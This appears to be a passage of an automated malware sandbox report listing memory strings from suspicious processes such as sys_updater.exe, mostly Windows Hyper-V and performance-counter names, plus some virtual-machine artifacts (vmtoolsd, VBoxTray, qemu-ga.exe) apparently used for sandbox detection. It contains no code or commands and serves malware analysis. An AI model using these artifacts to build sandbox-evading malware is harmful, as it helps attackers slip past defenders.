Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2170903109.00000234D3F9E000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2180148890.00000234D3FA5000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2184700567.00000234D3FA8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: JHyper-V Hypervisor Logical Processore%
Source: sys_updater.exe, 0000001B.00000003.2765696343.00000159F1AC7000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2788314764.00000159F1AC7000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2800169129.00000159F1AC7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V VM Vid PartitionTFh
Source: sys_updater.exe, 0000001F.00000003.2806925063.0000020E47BC0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: discoveries9610Hosted Cache: Segment offers queue size9612Publication Cache: Published contents9614Local Cache: Average access time3432WSMan Quota Statistics3434Total Requests/Second3436User Quota Violations/Second3438System Quota Violations/Second3440Active Shells3442Active Operations3444Active Users3446Process ID1914Hyper-V VM Vid Partition1916Physical Pages Allocated1918Preferred NUMA Node Index1920Remote Physical Pages1922ClientHandles1924CompressPackTimeInUs1926CompressUnpackTimeInUs1928CompressPackInputSizeInBytes1930CompressUnpackInputSizeInBytes1932CompressPackOutputSizeInBytes1934CompressUnpackOutputSizeInBytes1936CompressUnpackUncompressedInputSizeInBytes1938CompressPackDiscardedSizeInBytes1940CompressWorkspaceSizeInBytes1942CompressScratchPoolSizeInBytes1944CryptPackTimeInUs1946CryptUnpackTimeInUs1948CryptPackInputSizeInBytes1950CryptUnpackInputSizeInBytes1952CryptPackOutputSizeInBytes1954CryptUnpackOutputSizeInBytes1956CryptScratchPoolSizeInBytes?
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2170903109.00000234D3F9E000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2180148890.00000234D3FA5000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2184700567.00000234D3FA8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 2Hyper-V VM Vid Partitionmun
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2140247893.00000234D412E000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2140442384.00000234D412E000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2141646322.00000234D412D000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2140855705.00000234D412E000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2140360662.00000234D412E000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2152444106.00000234D410F000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2141190168.00000234D412E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 04866Reference Cycle Count 14868Actual Cycle Count 14870Proximity Domain Id4872Posted Interrupt Notifications/sec4874Hypervisor Branch Predictor Flushes/sec4876Hypervisor L1 Data Cache Flushes/sec4878Hypervisor Immediate L1 Data Cache Flushes/sec4880Hypervisor Microarchitectural Buffer Flushes/sec4882Counter Refresh Sequence Number4884Counter Refresh Reference Time4886Idle Accumulation Snapshot4888Active Tsc Count Snapshot
Source: sys_updater.exe, 00000018.00000003.2641927809.0000021E03058000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accu
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2170903109.00000234D3F9E000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2180148890.00000234D3FA5000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2184700567.00000234D3FA8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor\6
Source: sys_updater.exe, 0000001F.00000003.2838586237.0000020E47B69000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860I
Source: sys_updater.exe, 00000018.00000003.2688850080.0000021E016A9000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2664610216.0000021E016B4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Virtual Machine Bus Pipesl
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2170903109.00000234D3F9E000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2180148890.00000234D3FA5000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2184700567.00000234D3FA8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Virtual Machine Bus Pipes0~
Source: sys_updater.exe, 0000001B.00000003.2712171973.00000159F3459000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: r: RA-Secondary 3258In - Teredo Server Total Packets: Success + Error / sec3206Teredo Client3208In - Teredo Router Advertisement3210In - Teredo Bubble3212In - Teredo Data3214In - Teredo Invalid3216Out - Teredo Router Solicitation3218Out - Teredo Bubble3220Out - Teredo Data3222In - Teredo Data User Mode3224In - Teredo Data Kernel Mode3226Out - Teredo Data User Mode3228Out - Teredo Data Kernel Mode6468Hyper-V Dynamic Memory Integration Service6470Maximum Memory, Mbytes1848Bluetooth Radio1850Classic ACL bytes written/sec1852LE ACL bytes written/sec1854SCO bytes written/sec1856Classic ACL bytes read/sec1858LE ACL bytes read/sec1860SCO bytes read/sec1862Classic ACL Connections1864LE ACL Connections1866SCO Connections1868Sideband SCO Connections1870ACL flush events/sec1872LE ACL write credits1874Classic ACL write credits1876LE Scan Duty Cycle (%) - Uncoded 1M Phy1878LE Scan Window - Uncoded 1M Phy1880LE Scan Interval - Uncoded 1M Phy1882Page Scan Duty Cycle (%)1884Page Scan Window1886Page Scan Interval1888Inquiry Scan Duty Cycle (%)1890Inquiry Scan Window1892Inquiry Scan Interval1894LE Scan Duty Cycle (%) - Coded Phy1896LE Scan Window - Coded Phy1898LE Scan Interval - Coded Phy1900Bluetooth Device1902Classic ACL bytes written/sec1904LE ACL bytes written/sec1906SCO bytes written/sec1908Classic ACL bytes read/sec1910LE ACL bytes read/sec1912SCO bytes read/sec3814ServiceModelService 4.0.0.03816Calls&
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2170903109.00000234D3F9E000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2180148890.00000234D3FA5000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2184700567.00000234D3FA8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: THyper-V Hypervisor Root Virtual Processorn}
Source: sys_updater.exe, 0000001B.00000003.2765696343.00000159F1AC7000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2788314764.00000159F1AC7000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2800169129.00000159F1AC7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: &Hyper-V Hypervisor8B
Source: sys_updater.exe, 0000001B.00000003.2765696343.00000159F1AC7000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2788314764.00000159F1AC7000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2800169129.00000159F1AC7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: THyper-V Hypervisor Root Virtual Processordll
Source: sys_updater.exe, 0000001B.00000003.2716964943.00000159F1B0E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation
Source: sys_updater.exe, 0000001B.00000003.2765696343.00000159F1AC7000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2788314764.00000159F1AC7000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2800169129.00000159F1AC7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor Root PartitionByO
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2139747550.00000234D400A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: n Standby Entries4802Platform Idle Transitions4804HypervisorStartupCost4906Hyper-V Hypervisor Root Partition4908Virtual Processors4910Virtual TLB Pages4912Address Spaces4914Deposited Pages4916GPA Pages4918GPA Space Modifications/sec4920Virtual TLB Flush Entires/sec4922Recommended Virtual TLB Size49244K GPA pages49262M GPA pages49281G GPA pages49305
Source: sys_updater.exe, 0000001B.00000003.2765696343.00000159F1AA2000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2788314764.00000159F1A9B000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2800169129.00000159F1AA3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: &Hyper-V Hypervisor1/X
Source: sys_updater.exe, 00000018.00000003.2688850080.0000021E016A9000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2664610216.0000021E016B4000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2765696343.00000159F1AC7000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2788314764.00000159F1AC7000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2800169129.00000159F1AC7000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2932929052.0000020E479B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor
Source: sys_updater.exe, 0000001F.00000003.2932929052.0000020E479B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VHyper-V Dynamic Memory Integration ServicellJ
Source: explert.exe, 00000003.00000002.1679510345.000000000102E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmtoolsd.dllPro
Source: sys_updater.exe, 0000001B.00000003.2765696343.00000159F1AA2000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2788314764.00000159F1A9B000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2800169129.00000159F1AA3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Dynamic Memory Integration Service%/X
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000000.1784775730.00007FF7B6561000.00000020.00000001.01000000.00000009.sdmp, sys_updater.exe, 00000018.00000000.2275651489.00007FF6712E1000.00000020.00000001.01000000.00000018.sdmp, sys_updater.exe, 0000001B.00000000.2357220632.00007FF6712E1000.00000020.00000001.01000000.00000018.sdmp, sys_updater.exe, 0000001F.00000000.2438513793.00007FF6712E1000.00000020.00000001.01000000.00000018.sdmp, sys_updater.exe, 00000022.00000000.2519363810.00007FF6712E1000.00000020.00000001.01000000.00000018.sdmp	Binary or memory string: VBoxTrayM1
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2139747550.00000234D400A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Tim
Source: sys_updater.exe, 0000001F.00000003.2932929052.0000020E479B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor Root Partition8
Source: sys_updater.exe, 0000001B.00000003.2765696343.00000159F1AC7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 6242WorkflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 04866Reference Cycle Count 14868Actual Cycle Count 14870Proximity Domain Id4872Posted Interrupt Notifications/sec4874Hypervisor Branch Predictor Flushes/sec4876Hypervisor L1 Data Cache Flushes/sec4878Hypervisor Immediate L1 Data Cache Flushes/sec4880Hypervisor Microarchitectural Buffer Flushes/sec4882Counter Refresh Sequence Number4884Counter Refresh Reference Time4886Idle Accumulation Snapshot4888Active Tsc Count Snapshotfo
Source: sys_updater.exe, 0000001F.00000003.2801933921.0000020E47B83000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2808984641.0000020E47B7F000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2808766531.0000020E47B7C000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2801620413.0000020E47B83000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2801333286.0000020E47B83000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2802821804.0000020E47B83000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 04866Reference Cycle Count 14868Actual Cycle Count 14870Proximity Domain Id4872Posted Interrupt Notifications/sec4874Hypervisor Branch Predictor Flushes/sec4876Hypervisor L1 Data Cache Flushes/sec4878Hypervisor Immediate L1 Data Cache Flushes/sec4880Hypervisor Microarchitectural Buffer Flushes/sec4882Counter Refresh Sequence Number4884Counter Refresh Reference Time4886Idle Accumulation
Source: sys_updater.exe, 00000022.00000000.2519363810.00007FF6712E1000.00000020.00000001.01000000.00000018.sdmp	Binary or memory string: vmtoolsdM1
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2170903109.00000234D3F9E000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2180148890.00000234D3FA5000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2184700567.00000234D3FA8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: &Hyper-V Hypervisor1B
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2172293908.00000234D5AAE000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2167400204.00000234D5BC3000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2172784971.00000234D5A69000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2176730620.00000234D5ABF000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2165069693.00000234D5C04000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2172293908.00000234D5B00000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2165069693.00000234D5BB1000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2686476457.0000021E03768000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2670749256.0000021E03431000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: sys_updater.exe, 00000018.00000003.2688850080.0000021E016A9000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2664610216.0000021E016B4000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2932929052.0000020E479B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DHyper-V Virtual Machine Bus Pipes
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2170903109.00000234D3F9E000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2180148890.00000234D3FA5000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2184700567.00000234D3FA8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V qbqdsitfxsrfbfn Bus$
Source: sys_updater.exe, 0000001F.00000003.2932929052.0000020E479B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DHyper-V Hypervisor Root Partitiont
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2170903109.00000234D3F9E000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2180148890.00000234D3FA5000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2184700567.00000234D3FA8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor3@
Source: MSBuild.exe, 0000000C.00000002.1842346912.0000000002F93000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \qemu-ga.exe@\fq
Source: sys_updater.exe, 0000001F.00000003.2932929052.0000020E479B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: &Hyper-V Hypervisori
Source: sys_updater.exe, 00000018.00000003.2637181998.0000021E0170C000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2634033252.0000021E0170C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844
Source: sys_updater.exe, 00000018.00000003.2688850080.0000021E016A9000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2664610216.0000021E016B4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: &Hyper-V Hypervisorr:
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2153847407.00000234D4105000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: MA Errors4952Device Interrupt Throttle Events4954Skipped Timer Ticks4956Partition Id4958Nested TLB Size4960Recommended Nested TLB Size4962Nested TLB Free List Size4964Nested TLB Trimmed Pages/sec4966Pages Shattered/sec4968Pages Recombined/sec4970I/O TLB Flushes Base4972Hyper-V Hypervisor Root Virtual Processor4974Total Run Time4976Hypervisor Run Time4978Remote Node Run Time4980Normalized Run Time4982Ideal Cpu4984Hypercalls/sec4986Hypercalls Cost4988Page Invalidations/sec4990Page Invalidations Cost4992Control Register Accesses/sec4994Control Register Accesses Cost4996IO Instructions/sec4998IO Instructions Cost5000HLT Instructions/sec5002HLT Instructions Cost5004MWAIT Instructions/sec5006MWAIT Instructions Cost5008CPUID Instructions/sec5010CPUID Instructions Cost5012MSR Accesses/sec5014MSR Accesses Cost5016Other Intercepts/sec5018Other Intercepts Cost5020External Interrupts/sec5022External Interrupts Cost5024Pending Interrupts/sec5026Pending Interrupts Cost5028Emulated Instructions/sec5030Emulated Instructions Cost
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2170903109.00000234D3F9E000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2180148890.00000234D3FA5000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2184700567.00000234D3FA8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: &Hyper-V Hypervisorr=
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2172784971.00000234D5A69000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2656389564.0000021E0315F000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2673976502.0000021E031AC000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2754063369.00000159F345A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWuv
Source: sys_updater.exe, 00000022.00000003.2889560292.00000237D3212000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000022.00000003.2892935939.00000237D3201000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000022.00000003.2878565420.00000237D3201000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist 